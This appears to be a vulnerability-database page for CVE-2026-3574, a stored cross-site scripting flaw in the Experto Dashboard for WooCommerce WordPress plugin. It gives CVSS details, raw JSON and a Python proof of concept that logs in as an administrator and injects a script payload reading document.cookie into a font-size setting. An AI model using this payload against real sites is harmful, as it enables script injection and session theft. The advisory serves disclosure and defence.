Security Vulnerability Report
中文
CVE-2026-3574 CVSS 4.4 MEDIUM

CVE-2026-3574

Published: 2026-04-09 04:17:11
Last Modified: 2026-04-24 18:04:28

Description

The Experto Dashboard for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's settings fields (including 'Navigation Font Size', 'Navigation Font Weight', 'Heading Font Size', 'Heading Font Weight', 'Text Font Size', and 'Text Font Weight') in all versions up to and including 1.0.4. This is due to insufficient input sanitization (no sanitize callback in register_setting()) and missing output escaping (no esc_attr() in the field_callback() printf output) on user-supplied values. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary web scripts in the plugin settings page that will execute whenever a user accesses the settings page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Experto Dashboard for WooCommerce <= 1.0.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Exploit Title: Experto Dashboard for WooCommerce < 1.0.4 - Stored XSS (Admin) # Date: 2026-04-09 # Exploit Author: Analyst # Vendor Homepage: https://wordpress.org/plugins/experto-custom-dashboard/ # Version: <= 1.0.4 import requests # Configuration target_url = 'http://example.com/wp-admin/admin.php?page=experto-dashboard-settings' login_url = 'http://example.com/wp-login.php' username = 'admin' password = 'password' # Start a session session = requests.Session() # 1. Login to WordPress payload_login = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url } session.post(login_url, data=payload_login) # 2. Send malicious payload to vulnerable setting # Vulnerable fields: 'nav_font_size', 'nav_font_weight', 'head_font_size', etc. xss_payload = '"><script>alert(document.cookie)</script>' exploit_data = { 'option_page': 'experto_dashboard_options', 'action': 'update', '_wpnonce': '[GET_NONCE_FROM_PAGE]', # Need to scrape this nonce first '_wp_http_referer': '/wp-admin/admin.php?page=experto-dashboard-settings', 'nav_font_size': xss_payload, # Injecting into Navigation Font Size 'submit': 'Save Changes' } # Note: In a real scenario, you must first GET the page to extract the _wpnonce value. # response = session.post(target_url, data=exploit_data) # if response.status_code == 200: # print("Payload injected successfully. Visit settings page to trigger XSS.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3574", "sourceIdentifier": "[email protected]", "published": "2026-04-09T04:17:10.990", "lastModified": "2026-04-24T18:04:28.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Experto Dashboard for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's settings fields (including 'Navigation Font Size', 'Navigation Font Weight', 'Heading Font Size', 'Heading Font Weight', 'Text Font Size', and 'Text Font Weight') in all versions up to and including 1.0.4. This is due to insufficient input sanitization (no sanitize callback in register_setting()) and missing output escaping (no esc_attr() in the field_callback() printf output) on user-supplied values. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary web scripts in the plugin settings page that will execute whenever a user accesses the settings page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/experto-custom-dashboard/tags/1.0.1/admin/class-ewc-admin.php#L312", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/experto-custom-dashboard/tags/1.0.1/admin/class-ewc-admin.php#L361", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/experto-custom-dashboard/trunk/admin/class-ewc-admin.php#L312", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/experto-custom-dashboard/trunk/admin/class-ewc-admin.php#L361", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3491768%40experto-custom-dashboard&new=3491768%40experto-custom-dashboard", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a070f19e-9f65-499d-87c0-65be12d4be84?source=cve", "source": "[email protected]"}]}}